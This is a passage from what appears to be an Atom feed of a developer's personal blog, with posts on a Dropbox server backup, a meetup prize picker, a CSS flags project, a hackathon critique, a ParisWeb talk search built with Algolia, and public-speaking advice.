&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;scripts&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    &quot;postinstall&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;(test -f ./scripts/postinstall &amp;#x26;&amp;#x26; ./scripts/postinstall) || true&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Server backup using Dropbox</title>
    <link href="https://blog.pixelastic.com/2017/05/15/server-backup-using-dropbox/"/>
    <updated>2017-05-15T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2017/05/15/server-backup-using-dropbox</id>
    <content type="html">&lt;p&gt;Last week-end I received an email from the company that hosts this very own
website. Their monitoring detected that there was an issue with my server. 2
hours later they were able to tell me something was wrong with my hard drive. 24
hours after that they explained the procedure to get the hard drive replaced.&lt;/p&gt;
&lt;p&gt;I&#39;m using this dedicated server for hosting websites, but also as a backup for
some personal data and private repositories. This was too much reponsability for
one server. Having it down made me realize my offsite backup was not 100%
reliable.&lt;/p&gt;
&lt;p&gt;I decided to keep this server for hosting my websites. Havin a dedicated server
let me tweak nginx and do deploys with rsync. I&#39;m deploying static websites so
the security risk is low.&lt;/p&gt;
&lt;p&gt;But now I needed to move my backup somewhere else. This whole experience made me
realize I don&#39;t want to have to maintain the backup. I want something that &amp;quot;just
works™&amp;quot; and where I could push my data. I decided to go with the Dropbox Plus
plan as Dropbox a service I&#39;m already using. $10/month for 1To is ok. I&#39;m paying
for the peace of mind it will bring me.&lt;/p&gt;
&lt;p&gt;It also comes with features I couldn&#39;t have done with my dedicated server like a
Web UI to browse pictures, or a way to share (and revoke) links with people.
It&#39;s not the main features I was looking for, but they are great nice to have,
still.&lt;/p&gt;
&lt;p&gt;Now the question is: how do I move my 400Go+ to Dropbox. I don&#39;t even have that
much space available on my local computer and downloading it all to re-upload it
afterwards would take ages.&lt;/p&gt;
&lt;p&gt;I have a rescue access to my server with a way to mount the hard drive and
explore it. It&#39;s Debian-based, so I can install the Dropbox headless client.&lt;/p&gt;
&lt;p&gt;Once installed, I also have to install their python helper and rename it to
&lt;code&gt;dropbox&lt;/code&gt;. From this tool, I can command Dropbox. I started by excluding all
directories from the synchronization. I didn&#39;t want this rescure box to download
all my current Dropbox.&lt;/p&gt;
&lt;p&gt;Then I created a new directory in my Dropbox (through the Web UI), and added
inside symbolic links to all the directories I wanted to backup. And it worked.
I didn&#39;t expect it to work that easily, to be honest. I could see in the Web UI
directories being created and all my data being upload. Now all I have to do is
wait a couple hours while the backup is happening in the background.&lt;/p&gt;
&lt;p&gt;That&#39;s the most original way of using Dropbox I ever did.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Meetup random user picker</title>
    <link href="https://blog.pixelastic.com/2017/03/28/meetup-random-user-picker/"/>
    <updated>2017-03-28T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2017/03/28/meetup-random-user-picker</id>
    <content type="html">&lt;p&gt;Being co-organizer of two meetups (&lt;a href=&quot;https://www.meetup.com/fr-FR/HumanTalks-Paris/&quot;&gt;HumanTalks&lt;/a&gt; and &lt;a href=&quot;https://www.meetup.com/fr-FR/Tech-Lunch/&quot;&gt;TechLunch&lt;/a&gt;) in Paris,
I often give random prizes to the attendees at the end of the sessions. It can
be free tickets to conferences we are partners with, or gifts from some of our
sponsors.&lt;/p&gt;
&lt;p&gt;To choose who is going to get the prize, we resort to randomness and we have a
bunch of JavaScript scripts lying around to do that. To make the process easier
and scalable to more meetups, I created an online random attendee picker.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://pixelastic.github.io/meetup-random-user/&quot;&gt;&lt;img src=&quot;/img/files/2017-03-28/screencast.gif&quot; alt=&quot;Screencast of the tool in
action&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;You enter the url of your event in the input field and it will get the page and
pick one of the attendees at random. Because of CORS issues, I could not
directly load and parse the remote meetup.com page from the website. I used
&lt;a href=&quot;https://webtask.io/&quot;&gt;webtask.io&lt;/a&gt; to do that instead.&lt;/p&gt;
&lt;p&gt;webtask.io is mix between &lt;a href=&quot;https://gist.github.com/&quot;&gt;Gists&lt;/a&gt; and &lt;a href=&quot;https://www.heroku.com/&quot;&gt;Heroku&lt;/a&gt;. You push a server-side
snippet of js code to their platform (or write it directly in their online
editor), and it automatically hosts it. You then have a url you can use to
target your script, make it run, and get the results. It accepts query string as
inputs.&lt;/p&gt;
&lt;p&gt;The whole download, parse, format-as-JSON logic was then moved into this webtask
script and that&#39;s this script that I&#39;m requesting on my webpage. You can find
the code &lt;a href=&quot;https://github.com/pixelastic/meetup-random-user&quot;&gt;on GitHub.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This kind of architecture is called serverless, and that is the future of the
web. Static hosting through GitHub pages, while still allowing for server-side
scripting when you need it. All of that, for free.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Making of CSS Flags</title>
    <link href="https://blog.pixelastic.com/2016/10/03/css-flags-making-of/"/>
    <updated>2016-10-03T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2016/10/03/css-flags-making-of</id>
    <content type="html">&lt;p&gt;If you&#39;re following me on Twitter, you might have seen that I released a crazy
project called &lt;a href=&quot;http://pixelastic.github.io/css-flags/&quot;&gt;CSS Flags&lt;/a&gt;. People often ask me why I did such a thing. This
blog post is an attempt at explaining the thought process that motivated me to
build it.&lt;/p&gt;
&lt;h2&gt;Trip to Tours&lt;/h2&gt;
&lt;p&gt;Two years ago I was on holidays and visited the city of Tours, in France. It&#39;s a
small medieval city where you can find the museum of &amp;quot;Compagnonnage&amp;quot;. I had no
idea what this meant before visiting it, and learned everything about it during
my visit.&lt;/p&gt;
&lt;p&gt;Companions were craftsmen regrouped in guilds. They could be blacksmiths,
carpenters, shoemakers, painters, etc. They regrouped and shared their knowledge
between them. Being recognized as a Companion was a mark of quality in your
work.&lt;/p&gt;
&lt;p&gt;They followed a strict hierarchy of disciples and masters. More importantly,
they had a specific relationship with work. They wanted work to stay nothing
more than a tool. They refused to let work drive their lives and wanted to stay
the masters of their tools, and never be enslaved by it.&lt;/p&gt;
&lt;p&gt;But when visiting the museum, what struck me the most was all their internal
rules that they followed 200 or 300 years ago. They strove to teach their craft
to the new comers, to never compromise on quality, to always search for a better
way to do something. They were passionate and knew that what they were working
on was a small piece of something much bigger.&lt;/p&gt;
&lt;p&gt;And all this resonated with me. It felt a lot like what I experience everyday as
a software developer, with the principles of Software Craftsmanship and the
Egoless Programmer. Reading all those rules on old parchment and realizing they
still apply today was a surprising experience.&lt;/p&gt;
&lt;h2&gt;The road to the Chef d&#39;œuvre&lt;/h2&gt;
&lt;p&gt;I felt close to those people, but there was one thing that they were doing back
in the days that we do not do today, though. One important part of the
initiation process, the step that makes you from disciple to master: the &amp;quot;Chef
d&#39;œuvre&amp;quot;, or masterpiece.&lt;/p&gt;
&lt;p&gt;Every Companion has to build one single piece of fine craft to become a master.
They spent an awful lot of time on it, between 10 to 15 years. Masterpieces were
miniature version of a bigger construction, where they had to use every
technique of their craft, and then more.&lt;/p&gt;
&lt;p&gt;Doing it on a miniature version allowed them to mess up with no consequences.
They can start over without anyone getting harmed. It starts as a perfect way to
learn the basics, perfecting them on a small element. Then they add another
technique on top of the first, and they will not only learn each technique
independently, but also the potential synergies between them and limitations of
each. By combining different techniques, they will even discover new ways to
build and see issues through new perspectives.&lt;/p&gt;
&lt;p&gt;What started as a learning sandbox evolved as an experimentation that pushed the
boundaries of the craft. The whole masterpiece is a metaphor for the growth of
the craftsman, from disciple to master. Once their masterpiece has been
validated by the previous masters, the disciples becomes masters themselves.&lt;/p&gt;
&lt;h2&gt;What about doing the same?&lt;/h2&gt;
&lt;p&gt;I strongly encourage you to go to Tours and visit the museum. There are hundreds
of masterpieces from different crafts, each more impressive than the last. Even
if you don&#39;t speak French, the beauty of it is worth it.&lt;/p&gt;
&lt;p&gt;After leaving the museum I thought about building my own masterpiece (in all
modesty of course). After all, if it worked for them, considering everything we
had in common, it should work for me too.&lt;/p&gt;
&lt;p&gt;I didn&#39;t want to spend 10 to 15 years on it, though. I also have no skills with
wood, so I decided to do it in CSS. I think it is a powerful language, but often
underestimated. It&#39;s also a language I know well but that evolves so quickly I
rarely have the chance to try the latest shiny features because I need to keep
backward compatibility with older browsers.&lt;/p&gt;
&lt;p&gt;The perspective of having my own miniature sandbox where I could try anything I
wanted was appealing.&lt;/p&gt;
&lt;p&gt;The challenge I set myself was to reproduce all the flags of the world in pure
CSS. But because even that sounded too easy, I added the rule that I should use
nothing more than one &lt;code&gt;div&lt;/code&gt; per flag. Everything should be in CSS, nothing in
HTML except for the div.&lt;/p&gt;
&lt;h2&gt;Learning vexillology&lt;/h2&gt;
&lt;p&gt;Which in turn forced me to learn a new word: Vexillology. Vexillology is the
study of flags. Some people are passionate about music and can talk about it for
hours. Well, some people are passionate about flags and can talk about it for
hours.&lt;/p&gt;
&lt;p&gt;I discovered a whole new world with it&#39;s own vocabulary about colors or shapes.
I discovered that each flag has its own history. By reading the history of a
flag, you learn about the history of the country behind it.&lt;/p&gt;
&lt;p&gt;This part was not a bonus, but core to what I was trying to achieve. CSS was a
mean to an end, but what I was building were flags. I needed to understand my
subject if I was to build it correctly.&lt;/p&gt;
&lt;p&gt;When I started the project, I already knew how to make the easiest flags. Some
other I knew were going to be a challenge but I had some ideas to try. But most
of them I had no idea where to start. It did not stopped me, though. I knew I
was going to learn along the way, all I needed was to get started.&lt;/p&gt;
&lt;h2&gt;The gritty details&lt;/h2&gt;
&lt;p&gt;That&#39;s how I got the idea and the motivation for this project. By starting with
the easy bits first it gave me confidence that I could do it. Going
progressively to more and more complex flags I was faced by ne problem at a
time. The solutions I found in my first flags I could re-use and combine in the
latest one.&lt;/p&gt;
&lt;p&gt;I&#39;ll write a more complete (and CSS-focused) list of tips in an upcoming
article.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>How to spot a bullshit hackathon</title>
    <link href="https://blog.pixelastic.com/2016/09/14/how-to-spot-a-bullshit-hackathon/"/>
    <updated>2016-09-14T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2016/09/14/how-to-spot-a-bullshit-hackathon</id>
    <content type="html">&lt;p&gt;Being co-organizer of &lt;a href=&quot;http://www.meetup.com/fr-FR/HumanTalks-Paris/&quot;&gt;a meetup group&lt;/a&gt;, I often receive messages from
companies asking us to promote their hackathon or conference. We always refuse
to do such advertisement, unless we&#39;ve already attended their events and
appreciated it.&lt;/p&gt;
&lt;p&gt;Last week, we received a mail about what I call a &amp;quot;bullshit hackathon&amp;quot;. I&#39;ve
translated it to English and replaced the name of the company with FooBar. Enjoy
your read and stay with me until the end, because I&#39;m going to tell you what is
bullshit about it.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hello,&lt;/p&gt;
&lt;p&gt;We work for FooBar, a start-up organizing innovation contests and hackathons!&lt;/p&gt;
&lt;p&gt;We wanted to tell you about an innovation challenge that would greatly
interest you as well as your meetup members!&lt;/p&gt;
&lt;p&gt;That&#39;s why we invite you to the FooBar Challenge, organized by &lt;a href=&quot;http://www.ibm.com/us-en/&quot;&gt;IBM&lt;/a&gt; in
cooperation with &lt;a href=&quot;https://www.bred.fr/index.html&quot;&gt;BRED&lt;/a&gt;, in partnership with FooBar and revolving around
the customer experience revolution.&lt;/p&gt;
&lt;p&gt;We&#39;re asking you to develop the prototype of a web or mobile application, to
be used internally, that should allow BRED to know more about its customers.
Participants will have access to the Spark and Bluemix tools to develop their
projects.&lt;/p&gt;
&lt;p&gt;More than €15.000 worth of prizes are to be won by the three best teams. A
trip to San Francisco (worth €3000/person), MacBook and Oculus virtual reality
headsets!&lt;/p&gt;
&lt;p&gt;To participate, you just have create a team and present a first PowerPoint
document of 5 slides.&lt;/p&gt;
&lt;p&gt;The FooBar, IBM and BRED teams.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;Note: BRED is a French bank.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;If you don&#39;t see what is wrong with that message, let me explain.&lt;/p&gt;
&lt;p&gt;First of all, refrain from adding exclamation marks everywhere! It&#39;s annoying!
It made you look foolish! And trust me, you don&#39;t need that!&lt;/p&gt;
&lt;p&gt;You &amp;quot;&lt;em&gt;want to tell me about something that will greatly interest me and my
meetup members&lt;/em&gt;&amp;quot;? I don&#39;t think so. You actually &lt;em&gt;are desperate to have
developers going to your hackathon and working for free&lt;/em&gt;. It seems like in your
head hackathons are a cheap way to get developers to do your work for you. Feed
them with pizza and beer, give them a Hipster MacBook and a geeky Oculus and
they&#39;ll do whatever you ask them to do.&lt;/p&gt;
&lt;p&gt;Because that&#39;s what you do. You are &lt;em&gt;asking&lt;/em&gt; to develop a prototype. That&#39;s not
the spirit of a hackathon, where you build whatever you want. Here it looks more
like a classical set of specifications for your average day job project. And
look what kind of project, an internal tool for a bank to know more about their
customers. That&#39;s not anybody&#39;s dream project. That&#39;s more like the kind of app
you&#39;d build because that&#39;s your job and you have no other choice. I might be
exaggerating a bit here, some people may like building this kind of app, but
that&#39;s not the point. The point is that you &lt;strong&gt;do not tell people what to build
in a hackathon&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Oh, and you&#39;re too kind to let the participants use &lt;a href=&quot;http://spark.apache.org/&quot;&gt;Spark&lt;/a&gt;. You know,
because Spark is OSS and no-one need your approval to start using it.&lt;/p&gt;
&lt;p&gt;At that point in reading the email, I was already convinced that this thing,
whatever that was, was a hackathon only by name. But the final selection on with
a 5-slides PowerPoint was the nail to the coffin. First you&#39;re doing a filter
&lt;em&gt;before&lt;/em&gt; it even began, and then you&#39;re doing it on a bullshit PowerPoint?&lt;/p&gt;
&lt;p&gt;Haha, thanks but no thanks.&lt;/p&gt;
&lt;p&gt;I hope that other &amp;quot;hackathon organizers&amp;quot; will read this and work a bit more on
understanding what a hackathon actually is before sending those pathetic emails.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Searching the ParisWeb conferences</title>
    <link href="https://blog.pixelastic.com/2016/09/05/building-a-search-in-all-the-parisweb-conferences/"/>
    <updated>2016-09-05T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2016/09/05/building-a-search-in-all-the-parisweb-conferences</id>
    <content type="html">&lt;p&gt;I&#39;ve been going to &lt;a href=&quot;https://www.paris-web.fr/&quot;&gt;ParisWeb&lt;/a&gt; almost every year since it started ten years
ago. I missed the first one and the 2012 edition (I was living in New Zealand at
that time. I guess it&#39;s a good enough excuse).&lt;/p&gt;
&lt;p&gt;I cannot say how much I learned from this event. I used to say that I could
learn more in two days at ParisWeb than in 6 months of technical watch on my
own, reading blogs. That&#39;s the conference that made me the web developer I am
today. It has this incredible energy, this special #sharethelove mood.&lt;/p&gt;
&lt;p&gt;This year I wanted to give something back to the community, so I built a &lt;a href=&quot;https://pixelastic.github.io/parisweb/&quot;&gt;little
page to let you search through all the talks of the last 10 years&lt;/a&gt;. I hope to
make access to those little gems of knowledge easier for everyone.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://pixelastic.github.io/parisweb/&quot;&gt;&lt;img src=&quot;/img/files/2016-09-05/parisweb.gif&quot; alt=&quot;Live example&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;As a project is only finished once it&#39;s documented, let&#39;s see how this was done.&lt;/p&gt;
&lt;p&gt;I work at Algolia, the company that provides the underlying search engine. I&#39;m
familiar with this kind of projects, but I did not use any special Algolia
treatment and everything I built has been done with open-source tools and free
accounts.&lt;/p&gt;
&lt;h2&gt;Getting the data&lt;/h2&gt;
&lt;p&gt;The first part of every search project is to get the data you want to search. It
is the longest part of the job. A handful of websites expose useful data through
an easy-to-parse API. Most of the time you have to manually crawl the website
and extract the interesting bits through HTML parsing.&lt;/p&gt;
&lt;p&gt;ParisWeb was no exception, but the staff did an amazing job of keeping online
all the previous versions of the website. I manually downloaded all the program
pages on my disk and run ruby scripts on them to extract basic information from
all the talks. I used Nokogiri, the &lt;em&gt;de facto&lt;/em&gt; gem for HTML parsing.&lt;/p&gt;
&lt;p&gt;This first pass let me get basic information about each talk: title, authors and
description. I then had to add the relevant slides and video urls to each talk
(when available). Thoses are listed in another page, so I had to do another HTML
parsing and merge the results together. This part of the code contains some
&lt;a href=&quot;https://github.com/pixelastic/parisweb/blob/master/scripts/2009#L171-L173&quot;&gt;specific and ugly rules&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Unfortunately for me, the website changed almost every year so I had to write a
different version of the script for each year. My scripts looked more and more
like hacks, with copy-pasted methods from one script to another. I could have
done it better, but as they were supposed to be run once to generate the list, I
figured I could live with that.&lt;/p&gt;
&lt;h2&gt;Adding thumbnails&lt;/h2&gt;
&lt;p&gt;I knew I wanted to add thumbnails to the results, because full-text results are
boring. I decided that using the slides thumbnails would have more impact, with
a fallback to the video thumbnail.&lt;/p&gt;
&lt;p&gt;ParisWeb videos are hosted either on &lt;a href=&quot;http://www.dailymotion.com/parisweb&quot;&gt;DailyMotion&lt;/a&gt; or &lt;a href=&quot;https://vimeo.com/parisweb&quot;&gt;Vimeo&lt;/a&gt;. Getting
thumbnails from DailyMotion is a breeze because you can guess the thumbnail url
as soon as you know the video id. Getting thumbnails from Vimeo on the other
hand involve a call to their API.&lt;/p&gt;
&lt;p&gt;For the PDF thumbnails, I first searched for an online API that would be able to
do that for me, but could not find anything. So I started downloading all the
PDF talks, extract their first page and convert them to png.&lt;/p&gt;
&lt;p&gt;I wrapped this all into &lt;a href=&quot;https://github.com/pixelastic/parisweb/blob/master/scripts/consolidate&quot;&gt;one script&lt;/a&gt; that will build a big array of all the
talks, adding links to thumbnails to each. The final JSON is available &lt;a href=&quot;https://github.com/pixelastic/parisweb/blob/master/records/records.json&quot;&gt;here&lt;/a&gt;
if you want to build something else out of it.&lt;/p&gt;
&lt;h2&gt;Configuring the search&lt;/h2&gt;
&lt;p&gt;I wrote &lt;a href=&quot;https://github.com/pixelastic/parisweb/blob/master/scripts/push&quot;&gt;another script&lt;/a&gt; to push the JSON file to the Algolia API and
configure the index. I wanted it to search into the talk title, the authors
name, tags and talk description, in that order. I also added filters (what we
call facets) on the authors, tags and year as well as defining synonyms (like
js/javascript or ux/user experience).&lt;/p&gt;
&lt;h2&gt;Building the front-end&lt;/h2&gt;
&lt;p&gt;The layout of the final page is a classical layout of search pages. A header on
top with the search input, a sidebar on the left for filtering and the main area
on the right. I re-used part of the code I already did for the &lt;a href=&quot;http://pixelastic.github.io/marvel/&quot;&gt;Marvel
Super-Search&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://pixelastic.github.io/parisweb/&quot;&gt;&lt;img src=&quot;/img/files/2016-09-05/parisweb.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I used our &lt;a href=&quot;https://community.algolia.com/instantsearch.js/&quot;&gt;instantsearch.js&lt;/a&gt; library. I started by creating the HTML
markup, using empty &lt;code&gt;div&lt;/code&gt;s as placeholder for where I wanted the various
elements of the search: input, filters, results, etc.&lt;/p&gt;
&lt;p&gt;Then, I instanciated &lt;code&gt;instantsearch&lt;/code&gt; with my Algolia credentials and configured
the widgets (defining if I wanted an &lt;code&gt;AND&lt;/code&gt; or a &lt;code&gt;OR&lt;/code&gt; on the filters, how many to
display, etc). I also created a Mustache template for results and styled all
that with the ParisWeb colors.&lt;/p&gt;
&lt;p&gt;I used &lt;a href=&quot;http://cloudinary.com/&quot;&gt;Cloudinary&lt;/a&gt; as a CDN for the images, which let me resize, compress
and cache them on the fly. I also forced all author pictures into grayscale for
a better visual harmony.&lt;/p&gt;
&lt;h2&gt;Getting feedback&lt;/h2&gt;
&lt;p&gt;As I was building it, I often pushed the site online (hosting it on GitHub
pages), to get feedback from some beta users. It gave me a lot of interesting
ideas and allowed me to improve it as I was building it.&lt;/p&gt;
&lt;p&gt;I&#39;m still eager to know what you think about it, and hope it will be helpful to
you. If you find any issue or would like to suggest an improvement, feel free to
add it to the &lt;a href=&quot;https://github.com/pixelastic/parisweb/issues&quot;&gt;issue tracker&lt;/a&gt;.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Public Speaking</title>
    <link href="https://blog.pixelastic.com/2016/06/07/public-speaking/"/>
    <updated>2016-06-07T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2016/06/07/public-speaking</id>
    <content type="html">&lt;p&gt;&lt;em&gt;I wanted to write a recap of this session for a long time. I&#39;m in a flight trip
above the Atlantic ocean, so I have a bit of time in front of me. Let&#39;s get
started.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;One of the most valuable learnings from my &lt;a href=&quot;http://www.octo.com/en&quot;&gt;previous company&lt;/a&gt; was the public
speaking course I attended (thanks again &lt;a href=&quot;https://fr.linkedin.com/in/marc-boujnah-81a38&quot;&gt;Marc&lt;/a&gt;). With two days of training I
went from &amp;quot;Speaking in public? Are you kidding me? I&#39;ll NEVER do that, that is
way too scary&amp;quot; to &amp;quot;Speaking in public? Sure, I love that, I have a lot to
share!&amp;quot;.&lt;/p&gt;
&lt;p&gt;Let&#39;s see if I can write down here everything that class taught me. It might be
a bit rough, but this is basically a rewriting of my notes at that time.&lt;/p&gt;
&lt;p&gt;The class was about what people see when they see you speaking publicly. We did
not go into what is happening inside, because it is too intimate, we focused on
what was visible on the outside.&lt;/p&gt;
&lt;p&gt;We were asked to tell how we thought our public speaking skill was. What scared
us, what we thought we do well, etc. I said that if I know the subject I&#39;m
talking about, I think I can handle the situation well. If I have a complex set
of ideas to share I might get confused and forgot important details. I also know
that I speak fast, so I need to be careful. Also, I&#39;ve been game-mastering
fantasy roleplay for more that 15 years, so I know a bit about improvisation.
I&#39;m also scared of how to start a talk, when everybody is talking among
themselves.&lt;/p&gt;
&lt;h2&gt;Basic principles&lt;/h2&gt;
&lt;p&gt;We were taught the 4 most important rules:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;We need to stay natural. This is not a theater play, and we are not playing
characters, we are ourselves. We do not have to show everything, only what we
want to show.&lt;/li&gt;
&lt;li&gt;We must remember that this is nothing personal. You do not go on stage to be
loved. You go on stage because you have something to share. People care about
what you say, not who you are.&lt;/li&gt;
&lt;li&gt;We should not listen to that little voice in a corner of our head that
repeats &amp;quot;you&#39;ll never be able to do it&amp;quot;, &amp;quot;what you say is not interesting&amp;quot;,
&amp;quot;they already know all I can say&amp;quot;.&lt;/li&gt;
&lt;li&gt;The speaker is the only accountable person. The listeners are always right.
If they did not understand something it&#39;s not because they are foolish, it&#39;s
because you did not explain it well enough.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Public speaking is not only about speaking. Oral speaking is just a small part
of it. Your whole body is expressing your ideas when you are on stage. We are
trying to convince people of what we are saying, and we do that by more than
words. We do that by being convinced ourselves and our whole body will show it,
in the way we breath, the way we walk, the way we move, etc.&lt;/p&gt;
&lt;h2&gt;Conversation, Information or Communication&lt;/h2&gt;
&lt;p&gt;We also made a clear distinction between a &lt;em&gt;conversation&lt;/em&gt;, an &lt;em&gt;information&lt;/em&gt; and
a &lt;em&gt;communication&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;A &lt;em&gt;conversation&lt;/em&gt; is mundane and informal. It&#39;s small-talk and there is no
definite point. It can happen anywhere, anytime, there is no specific pattern.&lt;/p&gt;
&lt;p&gt;An &lt;em&gt;information&lt;/em&gt; is formal. It goes one way, from the one who knows to the one
who does not know. The boundaries are clear. Think of the flight speech about
exits in planes.&lt;/p&gt;
&lt;p&gt;The goal of a &lt;em&gt;communication&lt;/em&gt; is to say something and that the other party
understands it. It is meant to have an impact. It is part what I say, part how I
say it, part who I am and part how I am linked to what I say. It&#39;s content,
form, behavior and relationship.&lt;/p&gt;
&lt;h2&gt;Make your message clear&lt;/h2&gt;
&lt;p&gt;You want people to have a &lt;em&gt;before&lt;/em&gt; and an &lt;em&gt;after&lt;/em&gt; your talk. Because if they
don&#39;t, what was the point? You must have a message they will remember.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You should be able to pitch that message in one or two short sentences.&lt;/li&gt;
&lt;li&gt;Do not hesitate to repeat the message throughout the talk, with different
words, but with the same meaning.&lt;/li&gt;
&lt;li&gt;Give context to what you say. Give examples, and facts.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;People might understand the theory of what you&#39;re talking about, but if you give
them real examples, they will remember it better once you&#39;ve finished talking.
If it helps the listener understand and remember, you should do it. Remember
that the audience is always right. If it&#39;s too complex for them, they will stop
following.&lt;/p&gt;
&lt;p&gt;People have a limited attention span. Maybe you&#39;re the first talk of the day and
they are not yet fully awake, maybe you&#39;re the last talk before lunch and they
are hungry, maybe the speaker before you was boring and they are falling asleep,
maybe you&#39;re the last speaker of the day and they are tired. There are countless
ways that the audience will not be in the perfect mood to listen to you. This
will not matter if you&#39;ve adapted your speech so it is really easy to
understand.&lt;/p&gt;
&lt;p&gt;Split your talk in chunks. Do small breaks. Don&#39;t let the audience doze off
because of your monotonous voice. Throw an image here and there to wake them up.
Make it feel like there is something new to discover at each new slide. Try to
hook them. If they are not hooked, they will just go to their smartphones and
check Twitter. Talk about you and how you relate to the subject you&#39;re talking
about.&lt;/p&gt;
&lt;p&gt;Now that we&#39;ve seen generic ideas, we&#39;ll go a bit further into the content
itself.&lt;/p&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Keep about 1mn for an introduction. Start by creating a desire, explaining why,
sparking curiosity. Giving a real anecdote is nice way to start.&lt;/p&gt;
&lt;p&gt;At this point, we were suggested to use sentences like &amp;quot;Have you ever
noticed...&amp;quot;, &amp;quot;Are you like me and...&amp;quot; or &amp;quot;From the dawn of ages, humankind
have...&amp;quot; to quickly rally the audience to what we are going to say. I personally
don&#39;t want those introduction because they look too much like one-man shows.
Also, the talk being unidirectional, the audience cannot answer and if they do
not agree they can&#39;t do anything but listen, which will frustrate them. So my
personal advice is to avoid those over-generic sentences.&lt;/p&gt;
&lt;p&gt;You can also clearly define what the audience will learn. Clearly show what you
are going to talk about. Don&#39;t let people wonder what the next subject will be.
Show your table of content right at the start. You can even announce what you
conclusion will be right from the introduction. And then dive into the subject
wholeheartedly.&lt;/p&gt;
&lt;h2&gt;Clearly show where you are&lt;/h2&gt;
&lt;p&gt;Whenever you transition from something to another, from one slide to another or
from one idea to another, verbalise it. Say that we&#39;re moving to something else,
that way people can more easily clear their mental buffer.&lt;/p&gt;
&lt;p&gt;If you ever enumerate things, count on your fingers, or clearly show that every
item in the list is different. Do not put too much content in your slides.
People will read your slides, and while they do, they don&#39;t listen to you. So
try to keep the information in the slides to a minimum. It should be just enough
to let someone see what your current point is and where you are in your
explanation.&lt;/p&gt;
&lt;p&gt;Add a clear mention of the current chapter you&#39;re currently explaining, so
people know where you are. Clearly show how many slides you have, so they know
when to expect the end of your talk. If they think it is a never ending talk,
they will get bored before the actual end.&lt;/p&gt;
&lt;h2&gt;You are not transparent&lt;/h2&gt;
&lt;p&gt;Do not confess your internal state to the audience. Do not tell them how
stressed you are, do not say &amp;quot;Oh I&#39;m sorry, I don&#39;t remember what I wanted to
say&amp;quot;. Remember that everything that happens inside of you is not visible on the
outside. If you tell the audience that you are stressed, then they&#39;ll know. If
you say nothing, they won&#39;t have a clue.&lt;/p&gt;
&lt;p&gt;If you don&#39;t remember what you want to say next, just leave a blank. When people
add silence to their talks, it makes the audience think about what was said
before. It is way better to just put a silence than a &amp;quot;hmm, so... Hmm... Yeah&amp;quot;.
The former makes your previous sentence feel really important while the latter
makes you sound foolish.&lt;/p&gt;
&lt;h2&gt;Own the stage&lt;/h2&gt;
&lt;p&gt;Try to be sure of what you say, people will feel your presence on stage and will
feel like you belong there. This will give you legitimacy.&lt;/p&gt;
&lt;p&gt;Be dynamic, don&#39;t be static. This show that you have a strong belief in what you
say. And people don&#39;t want to hear you talking about something for which you
don&#39;t really care. They already have plenty of things they don&#39;t care about,
they don&#39;t need yours.&lt;/p&gt;
&lt;p&gt;Be synthetic. Everybody can talk about any subject, but only the real
professionals can be synthetic about it. This is related to the
&lt;a href=&quot;https://en.wikipedia.org/wiki/Dunning%E2%80%93Kruger_effect&quot;&gt;Dunning-Kruger&lt;/a&gt; effect, but the more synthetic you are on a subject, the
more people will see that you&#39;ve mastered it. On the other hand if you start
explaining every little details, it show that you do not see the big picture.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;When it is time to conclude your talk, make it as interesting in the closing
than in the opening. Repeat your message one last time, and what the audience
can do to activate that message. Ask if people have any questions, and don&#39;t
forget to smile, we don&#39;t like to ask questions to someone with a closed face.&lt;/p&gt;
